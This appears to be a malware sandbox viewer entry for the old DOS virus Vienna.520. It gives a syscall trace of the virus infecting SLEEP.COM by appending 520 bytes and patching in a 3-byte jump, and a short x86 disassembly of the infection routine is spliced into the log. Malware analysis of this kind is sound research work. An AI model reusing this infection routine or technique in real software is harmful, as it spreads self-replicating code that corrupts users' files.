Sample viewer

vx.netlux.org/Virus.DOS.Vienna.520

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:51:18.826966394Z 48 PC: 12ac9 | Get DOS version
2018-12-17T22:51:18.828148856Z 47 PC: 12ad5 | Get disk transfer address
2018-12-17T22:51:18.829626251Z 26 PC: 12ae2 | Set disk transfer address
2018-12-17T22:51:18.830856172Z 78 PC: 12b55 | Find first file
2018-12-17T22:51:18.837185502Z 67 PC: 12bc0 | Get or set file attributes
2018-12-17T22:51:18.844345733Z 67 PC: 12bce | Get or set file attributes
2018-12-17T22:51:18.8611761Z 61 PC: 12bd6 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:51:18.868127049Z 87 PC: 12be2 | Get or set file date and time
2018-12-17T22:51:18.870681147Z 44 PC: 12bec | Get time 0x12bec: mov ah, 0x3f
0x12bee: mov cx, 3
0x12bf1: lea dx, word ptr [si + 0x13]
0x12bf4: int 0x21
0x12bf6: jb 0x12c3f
0x12bf8: cmp ax, 3
0x12bfb: jne 0x12c3f
0x12bfd: mov ax, 0x4202
0x12c00: xor cx, cx
0x12c02: xor dx, dx
0x12c04: int 0x21
0x12c06: jb 0x12c3f
0x12c08: mov cx, ax
0x12c0a: sub ax, 3
0x12c0d: mov word ptr [si + 0x17], ax
0x12c10: add cx, 0x2e4
0x12c14: mov word ptr [si - 0x1e3], cx
0x12c18: mov ah, 0x40
0x12c1a: mov cx, 0x208
0x12c1d: nop
2018-12-17T22:51:18.872884516Z 63 PC: 12bf6 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:51:18.879525501Z 66 PC: 12c06 | Move file pointer
2018-12-17T22:51:18.88126016Z 64 PC: 12c24 | Write file or device (Write 520 bytes on handle 5)
2018-12-17T22:51:18.889723519Z 66 PC: 12c33 | Move file pointer
2018-12-17T22:51:18.891054069Z 64 PC: 12c3f | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:51:18.89732011Z 87 PC: 12c50 | Get or set file date and time
2018-12-17T22:51:18.899989925Z 62 PC: 12c54 | Close file
2018-12-17T22:51:18.912806743Z 67 PC: 12c5f | Get or set file attributes
2018-12-17T22:51:18.924463361Z 26 PC: 12c6a | Set disk transfer address
2018-12-17T22:51:18.926890571Z 9 PC: 12aa2 | Display string (String= 'ABCDE - This is a 100 byte COM test, 1994 ')